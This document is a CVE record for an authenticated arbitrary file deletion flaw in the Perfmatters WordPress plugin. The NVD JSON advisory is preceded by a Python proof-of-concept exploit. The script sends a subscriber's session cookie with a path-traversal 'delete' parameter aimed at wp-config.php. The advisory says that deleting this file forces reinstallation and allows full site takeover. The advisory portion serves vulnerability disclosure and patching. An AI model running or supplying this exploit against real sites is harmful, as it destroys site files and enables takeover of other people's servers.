CVE-2026-4350

import requests # Exploit Title: WordPress Perfmatters < 2.5.9.1 - Arbitrary File Deletion (Authenticated) # Description: Send a request with the 'delete' parameter containing path traversal. target_url = "http://example.com/" # Attacker needs a valid authenticated session cookie (Subscriber level or higher) cookies = { "wordpress_logged_in_xxx": "valid_cookie_value_here" } # The payload attempts to delete the WordPress configuration file # using path traversal sequences '../' to escape the current directory params = { "delete": "../../wp-config.php" } try: response = requests.get(target_url, params=params, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check if wp-config.php is deleted.") else: print(f"[-] Request failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4350", "sourceIdentifier": "[email protected]", "published": "2026-04-03T08:16:17.547", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Perfmatters plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in all versions up to, and including, 2.5.9.1. This is due to the `PMCS::action_handler()` method processing the `$_GET['delete']` parameter without any sanitization, authorization check, or nonce verification. The unsanitized filename is concatenated with the storage directory path and passed to `unlink()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server by using `../` path traversal sequences, including `wp-config.php` which would force WordPress into the installation wizard and allow full site takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://perfmatters.io/docs/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/58b9dab8-8539-4b53-b08d-f6ee3e1e744c?source=cve", "source": "[email protected]"}]}}